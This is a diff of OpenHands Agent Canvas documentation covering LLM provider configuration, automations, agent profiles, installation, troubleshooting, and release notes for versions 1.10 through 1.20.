creating an LLM profile for those agents. + + +## Choose a Configuration Path + +| I have | Use | Configure in | +|---|---|---| +| An API key from a model provider | A direct provider profile | `Settings > LLM` → `Basic` | +| An OpenHands LLM API key | An OpenHands provider profile | `Settings > LLM` → `Basic` | +| A local OpenAI-compatible server | A local endpoint profile | `Settings > LLM` → `Advanced` | +| A LiteLLM proxy | A proxy profile | `Settings > LLM` → `Advanced` | +| A signed-in Claude Code, Codex, or Gemini CLI subscription | An ACP agent | `Settings > Agent` | + +## Provider Connection for Reusable API Credentials + +Create a **Provider Connection** when you expect to use the same provider API key for more than one model or LLM profile. A connection stores the provider, API key, and optional base URL once; each linked profile supplies its own model configuration and uses the connection's credentials. + +1. Open `Settings > LLM`. +2. In **Provider Connections**, select **Add provider connection**. +3. Enter a recognizable name, such as `Personal OpenHands API` or `Team OpenAI`. +4. Choose the provider from the searchable provider list. +5. Enter the API key and, if needed, the provider base URL. +6. Save the connection. +7. Add or edit an LLM profile, select the connection in **Provider Connection**, then select the model and save the profile. + +When a profile uses a Provider Connection, its API key and base URL come from the connection rather than the profile. Reuse that connection for additional models from the same provider. Update the connection once to rotate its key or change its base URL for every linked profile. + + +Provider Connections are available on local agent-server backends. The panel is hidden when using an OpenHands Cloud backend. + + +## Direct Provider or OpenHands Profile + +Use the `Basic` tab when you have an API key from Anthropic, OpenAI, Google, OpenHands, or another provider in the selector. + +1. If you will reuse the key, create or choose a [Provider Connection](#provider-connection-for-reusable-api-credentials). +2. Select the provider and model. +3. Select the Provider Connection, or enter the API key directly for a profile-specific credential. +4. Save the profile. +5. Start a new conversation and send a short message to confirm the model responds. + +For model recommendations and provider references, see [LLM Configuration](/openhands/usage/llms/llms). For the OpenHands provider, see [OpenHands LLM Provider](/openhands/usage/llms/openhands-llms). + +## Local OpenAI-Compatible Server + +Use the `Advanced` tab for LM Studio, Ollama, vLLM, SGLang, or another server that exposes an OpenAI-compatible API. + +1. Find the exact model ID served by your server, usually from its `GET /v1/models` endpoint. +2. Enter `openai/` as the model. +3. If the server needs an API key or a reusable base URL, create a [Provider Connection](#provider-connection-for-reusable-api-credentials) with those values and select it for the profile. Otherwise, enter them directly in the profile. +4. Make sure the base URL is reachable from the **backend**. +5. Save the profile and start a new conversation to verify it. + +If Agent Canvas runs in Docker while the model server runs on the host, `127.0.0.1` points to the container, not the host. Use the host address appropriate for your platform, such as `http://host.docker.internal:/v1` where supported. + +See [Run Local LLMs with OpenHands](/openhands/usage/llms/local-llms) for server-specific examples. + +## LiteLLM Proxy + +Use the `Advanced` tab when you use a LiteLLM proxy. + +1. Enter `litellm_proxy/` as the model. +2. Create or select a [Provider Connection](#provider-connection-for-reusable-api-credentials) for the proxy URL and API key. You can instead enter those values directly when they are specific to one profile. +3. Make sure `` exactly matches a model configured on the proxy. +4. Save the profile and start a new conversation to verify it. + +See [LiteLLM Proxy](/openhands/usage/llms/litellm-proxy) for the complete proxy configuration. + +## OpenRouter + +Use OpenRouter when you have an OpenRouter API key and want to access a model through its catalog. Create an `OpenRouter` Provider Connection to reuse the key, then in the `Basic` tab select `OpenRouter`, choose a model, select the connection, and save the profile. Use the `Advanced` tab only when you need to enter a model ID that is not available in the selector. + +See [OpenRouter](/openhands/usage/llms/openrouter) for model-ID and recovery guidance. + +## Fix a Failed Configuration + +| Symptom | Check first | Next step | +|---|---|---| +| Provider is not recognized | The profile path and provider/model prefix | Choose the matching path above. | +| Model ID or format error | The exact model ID from the provider or proxy inventory | Update the model ID or prefix. | +| Local endpoint cannot be reached | The base URL from the backend | Check host, port, bind address, and container networking. | +| Authentication or permission error | Key type and provider account access | Re-enter the key and check the provider requirements. | +| The model cannot complete agent tasks | Context length and tool-use support | Use a more capable model or supported runtime. | + +For additional error-specific guidance, see [Troubleshooting](/openhands/usage/agent-canvas/troubleshooting#model-or-api-key-errors). + +## Next Steps + +- [Manage LLM Profiles](/openhands/usage/agent-canvas/llm-profiles) +- [Run Local LLMs with OpenHands](/openhands/usage/llms/local-llms) +- [LiteLLM Proxy](/openhands/usage/llms/litellm-proxy) +- [Troubleshooting](/openhands/usage/agent-canvas/troubleshooting) + ### Agent Canvas Overview Source: https://docs.openhands.dev/openhands/usage/agent-canvas/overview.md @@ -31343,16 +32646,27 @@ You can also test a preview build of the native desktop app. [Try the desktop pr Agent Canvas is the browser client. It connects to backend services that own execution and persistent state: -| Component | Responsibility | -|-----------|----------------| -| **Agent Canvas** | Displays conversations, files, terminals, settings, backends, and automations. | -| **Agent Server** | Runs conversations, agents, tools, and workspace operations. | -| **Automation Server** | Manages schedules, event triggers, dispatch, and run history. | -| **Workspace or sandbox** | Defines which files, processes, credentials, and networks the agent can access. | +| Concept | What It Means | Why It Matters | +|-------|---------------|----------------| +| **Browser UI** | The web interface you open in your browser. | This is where you chat, inspect files, manage settings, and configure automations. | +| **Backend** | The agent server that runs conversations, tools, settings, secrets, and automations. | This determines where the agent runs and what machine or sandbox it can access. | +| **Workspace** | The folder, repository, container mount, or cloud sandbox the agent works in. | This determines which files the agent can read and write. | +| **Agent and model** | The OpenHands agent or an ACP agent, plus the model credentials it uses. | This determines which LLM or provider receives conversation context and powers the agent. | - - Agent Canvas does not execute tools or provide sandbox isolation. Agent Server or an ACP process executes tools, and the selected workspace or sandbox provides the execution boundary. - +```mermaid +flowchart LR + browser["Browser UI"] --> backend["Selected backend"] + backend --> conversation["Conversation and agent"] + conversation --> model["Model access"] + conversation --> workspace["Workspace and tools"] + + classDef primary fill:#f3e8ff,stroke:#7c3aed,stroke-width:2px + classDef secondary fill:#e8f3ff,stroke:#2b6cb0,stroke-width:2px + classDef tertiary fill:#fff4df,stroke:#b7791f,stroke-width:2px + class browser primary + class backend,conversation secondary + class model,workspace tertiary +``` The `agent-canvas` launcher can package the client and backend services into one local stack. You can also run the client separately and connect it to services on a VM, in Docker or Kubernetes, or through OpenHands Cloud or OpenHands Enterprise. @@ -31392,7 +32706,19 @@ Agent Canvas supports several model access patterns: - **ACP agent subscription login** — use a signed-in provider, such as Claude Code, Codex, or Gemini, when the backend runs on the same machine as that login. - **Local or OpenAI-compatible provider** — connect providers such as Ollama, LM Studio, LiteLLM, or a compatible gateway through model settings. -See [Manage LLM Profiles](/openhands/usage/agent-canvas/llm-profiles) and [ACP Agents](/openhands/usage/agent-canvas/acp-agents) for details. +See [Configure a Model](/openhands/usage/agent-canvas/model-configuration), [Manage LLM Profiles](/openhands/usage/agent-canvas/llm-profiles), and [ACP Agents](/openhands/usage/agent-canvas/acp-agents) for details. + +## Customize Your Agent + +After the first conversation, choose the extension point that matches your need: + +| If you want to... | Start here | +|---|---| +| Add always-on repository guidance | [Repository Context and `AGENTS.md`](/overview/skills/repo) | +| Add reusable task-specific instructions | [Skills Overview](/overview/skills) | +| Connect external tools or services | [MCP Settings](/openhands/usage/settings/mcp-settings) | +| Extend the agent with packaged capabilities | [Plugins](/openhands/usage/agent-canvas/plugins) | +| Run work on a schedule or in response to events | [Automations](/openhands/usage/agent-canvas/managing-automations) | ## How It Fits With Other OpenHands Products @@ -31532,7 +32858,7 @@ Agent Canvas ships with a set of pre-built automations for the most common agent --- -Backends created by the `agent-canvas` launcher include Automation Server, so they can run agents on a schedule or in response to external events. Other backends must provide a compatible automation service for these features. +Backends created by the `agent-canvas` launcher include Automation Server, so they can run agents on a schedule or in response to external events. ## What You Can Do @@ -31555,8 +32881,16 @@ In practice, new automation setup starts in one of two ways: For recommended automations that support a direct form setup, Agent Canvas checks the active backend's capabilities and any prerequisites, then guides you through the required input fields, a review step, and creation. If direct form setup is unavailable, it offers a conversation-assisted setup instead. Review the proposed configuration before creating an automation. +Some catalog entries ship a **script bundle** — a packaged set of files that install as a deterministic automation — rather than a prompt-based preset. Script-bundle entries run their own logic for tasks like polling, deduplication, and fixed API calls, using the agent only for the parts that genuinely require judgment. When a catalog entry supports a bundle install, the setup form handles packaging and upload automatically; you just fill in the required fields. + +Catalog entries that accept repositories can also collect multiple repositories in a single field, so one automation can monitor several repos at once. + For a detailed walkthrough, see [Creating Automations](/openhands/usage/automations/creating-automations). + + Some recommended automations depend on integrations that cannot be auto-installed as MCP servers on this backend (for example, Jira's HTTP/OpenAPI-only integration). These appear on the recommendation card with a `Needs external setup` label. The `MCPs to connect` count only covers integrations the install flow can connect automatically. You must configure externally-hosted integrations yourself before the automation can use them. + + Automations run against the active backend. Use [Manage Backends](/openhands/usage/agent-canvas/backends) to see and switch which backend your automations run on. ## Edit an Automation's LLM Profile @@ -31565,6 +32899,19 @@ Open an automation, select `Edit`, and use the `LLM profile` dropdown to change Changing the LLM profile affects future automation runs. It does not rewrite previous run history. +## Select an Agent Profile for an Automation + +When the active backend advertises agent-profile support, the automation setup and edit dialogs include an optional **agent profile** selector. Choose a saved agent profile to use for automation runs instead of the default agent. + +When a saved agent profile is selected: + +- The stable `agent_profile_id` identifies the profile sent to the backend. +- The automation uses the selected agent profile instead of an LLM profile. Editing an automation clears any existing legacy model selection. + +If a previously selected agent profile has been deleted, it remains visible in the selector rather than silently switching to another profile. This lets you review the configuration before choosing a replacement. + +The agent profile selector appears only on backends that support agent profiles. On backends without agent-profile support, only the LLM profile dropdown is available. + ### GitHub PR Review Assistant Source: https://docs.openhands.dev/openhands/usage/agent-canvas/prebuilt/github-pr-review.md @@ -31916,13 +33263,332 @@ After the automation is created: - [Setup a Pre-built Automation](/openhands/usage/agent-canvas/prebuilt-automations) - [Customize and Settings](/openhands/usage/agent-canvas/customize-and-settings) +### Agent Canvas 1.10.0 +Source: https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.10.0.md + +# Agent Canvas 1.10.0 + +Released August 5, 2026. + +[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.10.0). + +## Highlights + +- **Canvas default model set to GLM 5.2** — New conversations now use GLM 5.2 as the default model, providing a better out-of-the-box experience without requiring manual model selection. +- **Activity Log export** — Users can export the full Activity Log for a conversation, making it easier to share agent trajectories and audit work outside of Canvas. +- **Featured Automations dashboard** — A new landing dashboard surfaces featured automations, helping users discover and set up prebuilt workflows directly from the home screen. +- **Faceted skills filter** — The skills page now includes a faceted filter rail, letting users quickly narrow down skills by category, source, or status. +- **Manifest-driven automation sub-pages** — Automations can now define their own sub-pages via a manifest, enabling richer configuration UIs without custom frontend code. + +## Improvements and fixes + +- Automation timeout cap is now derived from the deployment configuration, preventing runs from being silently capped by stale defaults. +- Sidebar conversation links are pinned to the correct backend identity, fixing broken navigation when multiple backends are connected. +- Local proxy targets now use IPv4 loopback addresses, resolving connection failures on systems where IPv6 loopback is not configured. +- Resolved all npm audit vulnerabilities reported in the frontend dependency tree. +- MCP server credentials are preserved during Canvas settings mutations, preventing credential loss when toggling or editing other settings. + +## Full changelog + +- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.10.0) +- [Compare v1.9.0 to v1.10.0](https://github.com/OpenHands/OpenHands/compare/v1.9.0...v1.10.0) + +### Agent Canvas 1.11.0 +Source: https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.11.0.md + +# Agent Canvas 1.11.0 + +Released August 7, 2026. + +[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.11.0). + +## Highlights + +- **Per-run LLM cost in Activity Log** — Each Activity Log entry and CSV export now includes the LLM cost for that run, giving users visibility into spending at the conversation level. +- **Typed agent action for child conversations** — A new typed action lets agents programmatically launch local or Cloud child conversations, enabling structured delegation workflows. +- **Automation tag filter and recognition** — Automations can now be tagged, and the UI supports filtering by tags so users can organize and find automations faster. +- **Conversation tag chips** — Conversations display tag chips with overflow and hovercard labels, making it easier to identify and group conversations by category. +- **Customize navigation reordered** — The Customize page navigation has been reorganized for a more logical flow between settings sections. +- **Version update UI polished** — The Agent Canvas version update experience has been refined with clearer status indicators and smoother transitions. +- **Automations pane always visible** — The home screen Automations pane now stays visible even when no automations are installed, guiding users toward setup. + +## Improvements and fixes + +- Multi-size application icons are now shipped for both Windows and macOS, eliminating blurry or missing icons in taskbars and docks. +- The desktop app has been renamed to "OpenHands Agent Canvas" for consistency across platforms. +- Runtime metrics now fetch the conversation directly instead of going through a removed cloud-proxy endpoint, fixing a broken metrics path. + +## Full changelog + +- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.11.0) +- [Compare v1.10.0 to v1.11.0](https://github.com/OpenHands/OpenHands/compare/v1.10.0...v1.11.0) + +### Agent Canvas 1.12.0 +Source: https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.12.0.md + +# Agent Canvas 1.12.0 + +Released August 7, 2026. + +[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.12.0). + +## Highlights + +- **Clarified free OpenHands model endpoints** — The free OpenHands model offerings now have clearer endpoint labeling, helping users understand which models are available at no cost and how to select them. + +## Full changelog + +- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.12.0) +- [Compare v1.11.0 to v1.12.0](https://github.com/OpenHands/OpenHands/compare/v1.11.0...v1.12.0) + +### Agent Canvas 1.13.0 +Source: https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.13.0.md + +# Agent Canvas 1.13.0 + +Released August 13, 2026. + +[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.13.0). + +## Highlights + +- **Context window usage meter and manual compaction** — A new context-window usage meter, usage drawer, and manual compaction control let users monitor and manage token consumption in real time, preventing unexpected context overflow. +- **Client-side conversation archive** — Users can archive conversations directly from the sidebar, keeping the active conversation list clean without permanently deleting work. +- **Inline markdown artifact previews** — Markdown artifacts rendered in chat now show inline previews, reducing the need to open a separate viewer for common output formats. +- **Ready-for-dev issue readiness gate** — A new readiness gate enforces type-specific criteria before issues are marked ready for development, improving workflow discipline. + +## Improvements and fixes + +- A postinstall message now explains how to start Agent Canvas after installation. +- Agent-server telemetry is now correctly configured when launched from Canvas. +- Overflow menus are now usable on touch devices, fixing a long-standing mobile interaction issue. +- The sidebar "Load more" button now correctly discovers folders rather than expanding folder contents prematurely. +- Chat input drag-resize is disabled when the input is not bottom-anchored, preventing unexpected layout shifts. +- Non-MCP-installable automation integrations are now surfaced instead of being silently dropped. +- A flaky `ProgressEvent` unhandled rejection in CI has been resolved. +- Launcher services are spawned without an implicit shell, improving reliability across environments. +- The Basic LLM provider list no longer truncates at 100 entries, ensuring all available providers are visible. +- The context meter ring track is now drawn from the foreground color instead of a border token, fixing visual inconsistency. +- Pending MSW callbacks are drained before jsdom teardown, eliminating a `ProgressEvent` `ReferenceError` in tests. + +## Full changelog + +- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.13.0) +- [Compare v1.12.0 to v1.13.0](https://github.com/OpenHands/OpenHands/compare/v1.12.0...v1.13.0) + +### Agent Canvas 1.14.0 +Source: https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.14.0.md + +# Agent Canvas 1.14.0 + +Released August 17, 2026. + +[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.14.0). + +## Highlights + +- **Structured error outcomes** — Agent errors are now presented as structured outcomes in the UI, making it easier to understand what went wrong and what action to take next. +- **LLM pre-flight validation** — A pre-flight check validates LLM configuration before saving a profile, preventing misconfigured profiles from being saved and causing failures at run time. +- **Git Sync page for automations** — A new Git Sync page lets automation authors manage how their automation repositories stay in sync, streamlining the automation development lifecycle. +- **Canvas default model set to Kimi K3** — New conversations now default to Kimi K3, which is tagged as free, lowering the barrier to entry for new users. + +## Improvements and fixes + +- Onboarding now preselects the OpenHands LLM provider after picking the OpenHands agent, reducing friction during first-time setup. +- Backend scope is preserved in conversation links, fixing broken navigation when switching between multiple backends. +- The `VITE_BACKEND_BASE_URL` is no longer baked at build time during `npm run dev`, allowing developers to point at different backends without rebuilding. +- Automation local responder URLs are now set from the browser origin, fixing webhook delivery in behind-proxy deployments. +- The full workspace file tree is now shown in the Files tab on cloud backends, restoring visibility into nested directories. + +## Full changelog + +- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.14.0) +- [Compare v1.13.0 to v1.14.0](https://github.com/OpenHands/OpenHands/compare/v1.13.0...v1.14.0) + +### Agent Canvas 1.15.0 +Source: https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.15.0.md + +# Agent Canvas 1.15.0 + +Released August 21, 2026. + +[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.15.0). + +## Highlights + +- **Getting started checklist** — A new checklist in the sidebar helps users complete initial setup. Its visibility can be controlled in settings. +- **Workspace paths in Files** — The Files view now shows the workspace path, making it easier to identify the folder currently being explored. +- **Script-bundle automation installs** — Automation catalog entries can now install a bundled script along with the automation, supporting more complete automation setups. +- **LLM provider connections** — Local agent-server users can manage LLM provider connections from a dedicated interface. +- **Automation dashboard and discovery** — The automations dashboard, recommendations rail, and Add/Import flow have been updated to make finding and adding automations easier. +- **Conversation overview and commits** — Conversations now include an overview panel and a unified commits drawer, bringing key conversation information and Git commits together. + +## Improvements and fixes + +- Agent profiles are no longer silently downgraded. +- Grouped workspace views now show all folders even when pagination is in use. +- The LLM selected from the home dropdown now takes precedence over an agent profile's pinned LLM. +- The `Cmd`+`Enter` build shortcut now applies only in plan mode. +- Long skill descriptions no longer hide modal actions. +- PDF previews now render in the built-in viewer. +- Agent Canvas no longer persists ACP model selections to agent settings when profile discovery fails. +- The events socket stays alive across refetches and has a bounded handshake, improving connection reliability. +- Streaming deltas are batched so the UI can keep up with faster models. + +## Full changelog + +- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.15.0) +- [Compare v1.14.0 to v1.15.0](https://github.com/OpenHands/OpenHands/compare/v1.14.0...v1.15.0) + +### Agent Canvas 1.16.0 +Source: https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.16.0.md + +# Agent Canvas 1.16.0 + +Released August 27, 2026. + +[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.16.0). + +## Highlights + +- **Supported-provider selector** — The "Add provider" connection flow now uses a searchable supported-provider selector instead of free text. Existing connections keep free-text editing. +- **Linux desktop installer** — New Linux desktop installer artifacts (AppImage and deb) for the Agent Canvas desktop app. +- **Live run phase for automations** — Automation runs now surface a live phase (PENDING/RUNNING/FAILED) on cards, the activity log, and home; the phase is exported in CSV/JSON activity logs. +- **LLM-switching toggle in Agent settings** — A new "Let the agent switch LLM profiles" toggle in the Agent profile editor controls whether the `SwitchLLMTool` is available to the agent. +- **Explicit skill allow-list** — The skill catalog now defaults to an 11-skill allow-list instead of enabling all ~59 catalog skills; Customize gains a "Recommended" badge/facet. +- **Canvas Extensions beta** — Add trusted custom pages and integrated tools to Agent Canvas without forking the application. Install and manage extensions in `Customize > Extensions`; see [Canvas Extensions (Beta)](/openhands/usage/agent-canvas/canvas-extensions). + +## Improvements and fixes + +- File paths in chat are now clickable and link to the Files drawer. +- Onboarding is skipped when a user-added Local backend already has a usable LLM. +- The default model is now OpenAI GPT-5.6 Sol, and DeepSeek V4 Flash is the sole free OpenHands-routed model. +- The VSCode button now renders on self-hosted (local) backends, gated on editor capability. +- The API key for the OpenHands provider is hidden on cloud. +- The home screen remembers local workspace mode selection. +- Conversation titles can be renamed on cloud backends. +- The API key is validated before advancing the backend connection step. +- Routine dependency bumps (software-agent-sdk 1.44.0, automation 1.9.0, extensions 0.19.0). + +## Full changelog + +- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.16.0) +- [Compare v1.15.0 to v1.16.0](https://github.com/OpenHands/OpenHands/compare/v1.15.0...v1.16.0) + +### Agent Canvas 1.17.0 +Source: https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.17.0.md + +# Agent Canvas 1.17.0 + +Released September 9, 2026. + +[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.17.0). + +## Highlights + +- **Apps beta** — Canvas Extensions is now called Apps in Agent Canvas. Manage trusted custom pages in `Customize > Apps`; the Canvas Extensions API and `canvas-extension.json` format remain unchanged. See [Apps (Beta)](/openhands/usage/agent-canvas/canvas-extensions). +- **Local Plan Mode Enabled** — Plan, refine, and build from a plan on a self-hosted or local Agent Server backend. +- **Conversation tags and filtering** — Add tags from a conversation row menu, show tag chips, and filter the conversation list by tags or automation name. See [Conversations](/openhands/usage/agent-canvas/conversations). +- **Cloud LLM provider connections** — Cloud backends with an organization can manage and select shared provider connections in LLM settings. + +## Improvements and Fixes + +- Workspace hooks in `.openhands/hooks.json` now load automatically when you start a local Agent Canvas conversation. See [Hooks](/openhands/usage/customization/hooks). +- Self-hosted deployments can opt out of product telemetry with `AGENT_CANVAS_DISABLE_TELEMETRY=1` (or `true`) or the `--disable-telemetry` runtime flag. +- Automation permissions now distinguish viewing from managing automations. Users with view-only access can still manage automations they created. + +## Full Changelog + +- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.17.0) +- [Compare v1.16.0 to v1.17.0](https://github.com/OpenHands/OpenHands/compare/v1.16.0...v1.17.0) + +### Agent Canvas 1.18.0 +Source: https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.18.0.md + +# Agent Canvas 1.18.0 + +Released September 11, 2026. + +[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.18.0). + +## Highlights + +- **Image lightbox** — Click an image attachment in a conversation to open it full size in a lightbox overlay. Dismiss with Escape, the close button, or a backdrop click. See [Conversations](/openhands/usage/agent-canvas/conversations). +- **Automation creator permissions** — Only the automation creator can re-enable a disabled automation on cloud backends. Managers can still disable or delete automations. See [Managing automations](/openhands/usage/agent-canvas/managing-automations). +- **Edit automations on cloud backends** — Automations can now be edited on cloud backends (previously read-only). Edit an automation's name, prompt, model, timeout, or schedule directly in Agent Canvas. See [Managing automations](/openhands/usage/agent-canvas/managing-automations). +- **Automation identity display** — The automation detail page now shows which identity (user) an automation runs as in the configuration section. See [Managing automations](/openhands/usage/agent-canvas/managing-automations). + +## Improvements and Fixes + +- Cloud settings navigation is fixed when Canvas is locked to a Cloud host: the gear icon passes the active organization, unlisted settings pages are hidden from the command menu, and Cloud settings open in the same tab. +- The misleading "No budget limit" line is removed from the Token Usage panel. +- New ACP harnesses registered by the agent-server are disabled by default until explicitly enabled. + +## Full Changelog + +- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.18.0) +- [Compare v1.17.0 to v1.18.0](https://github.com/OpenHands/OpenHands/compare/v1.17.0...v1.18.0) + +### Agent Canvas 1.19.0 +Source: https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.19.0.md + +# Agent Canvas 1.19.0 + +Released September 16, 2026. + +[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.19.0). + +## Highlights + +- **MCP server scoping for agent profiles** — Agent profiles can now be scoped to specific MCP servers using `mcp_server_refs`. When a profile is scoped, only the selected MCP servers' tools are available to the agent in that conversation. See [Agent Profiles](/openhands/usage/agent-canvas/agent-profiles). +- **Automation disablement reasons** — The automation detail page now shows a human-readable disablement reason with structured detail and a timestamp. This makes it easy to understand why an automation was disabled, whether manually or due to a permanent dispatch failure. See [Managing automations](/openhands/usage/agent-canvas/managing-automations). +- **GPT-6 Astra model support** — The Codex ACP model picker includes GPT-6 Astra. ACP agent model lists are sourced from the SDK registry, so no additional configuration is required. See [ACP Agents](/openhands/usage/agent-canvas/acp-agents). + +## Improvements and Fixes + +- Azure DevOps SSH remote URLs (`git@ssh.dev.azure.com:v3/...`) are now correctly parsed, so repositories cloned over SSH display the correct name and branch. +- The static server now HTML-escapes injected runtime configuration and sets `Cache-Control: no-store`, fixing an XSS vulnerability. +- The client ACP registry pin is now tied to the agent-server, ensuring ACP provider lists stay in sync. +- The automation bundle-source validator now accepts `plugins/` package directories in catalog bundles. +- SDK bumped to 1.48.0 and automation runtime bumped to 1.12.1. + +## Full Changelog + +- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.19.0) +- [Compare v1.18.0 to v1.19.0](https://github.com/OpenHands/OpenHands/compare/v1.18.0...v1.19.0) + +### Agent Canvas 1.20.0 +Source: https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.20.0.md + +# Agent Canvas 1.20.0 + +Released September 17, 2026. + +[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.20.0). + +## Highlights + +- **Agent profile secret scoping** — Choose which saved secrets an agent profile can access (all, none, or selected names) from the profile editor in `Settings > Agent`. The control appears when Agent Server advertises the `profile_secret_scope_v1` capability. Deleted secret references are preserved rather than silently removed. See [Agent Profiles](/openhands/usage/agent-canvas/agent-profiles). +- **Docker conversation runtime forwarding** — Canvas now forwards six conversation-runtime settings (runtime, image, memory, CPU, PID limits, startup timeout) to its bundled Agent Server when the operator explicitly sets them, enabling `OH_CONVERSATION_RUNTIME=docker` in local Canvas deployments. See [Environment Variables](/openhands/usage/environment-variables). +- **Agent profile selection for automations** — Select a saved agent profile during automation setup and editing when the backend supports agent profiles. The selected profile is sent with `agent_profile_id` and replaces any legacy model selection. Unavailable selections remain visible. See [Pre-built Automations](/openhands/usage/agent-canvas/prebuilt-automations). + +## Maintenance + +- Mock-LLM test profiles are isolated from ambient secrets to avoid environment-dependent secret lookups in E2E tests. +- Released agent runtime dependencies bumped: Agent Server 1.49.1, TypeScript client 1.49.1, Automation 1.13.1, Extensions 0.22.1. + +## Full Changelog + +- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.20.0) +- [Compare v1.19.0 to v1.20.0](https://github.com/OpenHands/OpenHands/compare/v1.19.0...v1.20.0) + ### Install Agent Canvas Source: https://docs.openhands.dev/openhands/usage/agent-canvas/setup.md The `agent-canvas` launcher can run the Canvas client with Agent Server, Automation Server, and ingress as an all-in-one local stack. Use npm or npx for direct local execution, or Docker for a containerized stack with explicit project mounts. You can also run the client separately and connect it to an existing backend. - Agent Server and ACP processes can run shell commands, read files, write files, and use connected tools. Agent Canvas is the client and does not provide isolation. Treat the machine, container, or sandbox where the backend runs as trusted infrastructure. Before exposing backend services to a network you do not control, review [VM / Self-Hosted Installation](/openhands/usage/agent-canvas/backend-setup/vm). + Treat agents and ACP processes as untrusted: they can run shell commands, read files, write files, and use connected tools within their execution environment. Agent Canvas is the client and does not provide isolation. If the backend runs directly on your machine, the agent can act with your user account's permissions. Use a container, sandbox, or VM to define a tighter boundary. Before exposing backend services to a network you do not control, review [VM / Self-Hosted Installation](/openhands/usage/agent-canvas/backend-setup/vm). ## Choose An Install Method @@ -32224,7 +33890,7 @@ Uninstalling the package or image does not automatically remove your persisted d ## Desktop App (Preview Build) -The Agent Canvas desktop app for macOS and Windows is an early preview build ready for user testing. It bundles the Node.js and `uv` runtimes, so you do not need to install prerequisites or keep a terminal open. +The Agent Canvas desktop app for macOS, Windows, and Linux is an early preview build ready for user testing. It bundles the Node.js and `uv` runtimes, so you do not need to install prerequisites or keep a terminal open. Please [join the OpenHands Slack community](https://openhands.dev/joinslack) to share feedback and [open an issue](https://github.com/OpenHands/OpenHands/issues) for problems you find while testing the preview. @@ -32248,6 +33914,12 @@ Pre-built desktop releases support Apple silicon Macs. On an Intel Mac, use the 2. Run the installer. If Windows SmartScreen prompts you, confirm that you want to continue. 3. Launch Agent Canvas from the Start menu. +**Linux** + +1. Download the `Agent-Canvas-.AppImage` or `Agent-Canvas-.deb` installer. +2. For the AppImage, make the file executable and run it. For the deb, install it with your package manager (for example, `sudo apt install ./Agent-Canvas-.deb`). +3. Launch Agent Canvas from your applications menu. + The desktop app starts its local backend automatically. During startup, select **Show details** to view and copy the live startup log. This is useful if startup takes longer than expected or fails. ### Troubleshooting and Lifecycle @@ -32505,7 +34177,7 @@ If you changed the port with `--port`, use the port you selected. ## Model Or API Key Errors -If a conversation fails before the agent responds, check `Settings > LLM`. +If a conversation fails before the agent responds, check `Settings > LLM`. To choose the right provider, local endpoint, LiteLLM proxy, OpenRouter, or ACP path, start with [Configure a Model](/openhands/usage/agent-canvas/model-configuration). Common causes: @@ -32515,6 +34187,11 @@ Common causes: - A LiteLLM proxy token is invalid. - An OpenAI-compatible provider needs the provider, model, base URL, and key to line up. +Agent Canvas classifies conversation errors and presents them with distinct banner variants: + +- **Recoverable errors** (such as authentication failures) are shown with a warning banner, indicating you can take action — for example, updating an API key or switching models. +- **Internal errors** are shown with an error banner, indicating a problem that may require restarting the conversation or backend. + For model setup details, see: - [Manage LLM Profiles](/openhands/usage/agent-canvas/llm-profiles) @@ -32660,7 +34337,7 @@ https://github.com/OpenHands/OpenHands/assets/38853559/f592a192-e86c-4f48-ad31-d _Example of CodeActAgent with `gpt-4-turbo-2024-04-09` performing a data science task (linear regression)_. -### Sandbox Server REST API (V1) +### REST API (V1) Source: https://docs.openhands.dev/openhands/usage/api/v1.md The [OpenHands Sandbox Server](https://github.com/OpenHands/sandbox-server) is the standalone API and sandbox control plane extracted from the former OpenHands monorepo. It exposes conversation and sandbox resources without bundling a frontend. @@ -32675,7 +34352,7 @@ Sandbox Server V1 REST endpoints are mounted under: - /api/v1 -Use these endpoints to integrate with the Sandbox Server control plane. Agent Canvas is the browser client for compatible deployments; Sandbox Server itself does not include a frontend. +Use these endpoints to integrate with the Sandbox Server control plane. Sandbox Server itself does not include a frontend. ## Key resources @@ -32741,7 +34418,7 @@ When asking OpenHands to create an automation, include: - **What it should do**: Describe the task clearly - **When it should run**: Daily, weekly, every hour, etc. - **Timezone** (optional): Defaults to UTC if not specified -- **Run timeout** (optional): Defaults to 10 minutes; maximum 30 minutes +- **Run timeout** (optional): Defaults to 10 minutes; the maximum depends on your deployment - **Name** (optional): The agent can suggest one based on your description - **Plugins** (optional): Mention specific plugins if you need extended capabilities @@ -33166,7 +34843,7 @@ Update the "Weekly Cleanup" automation to run on 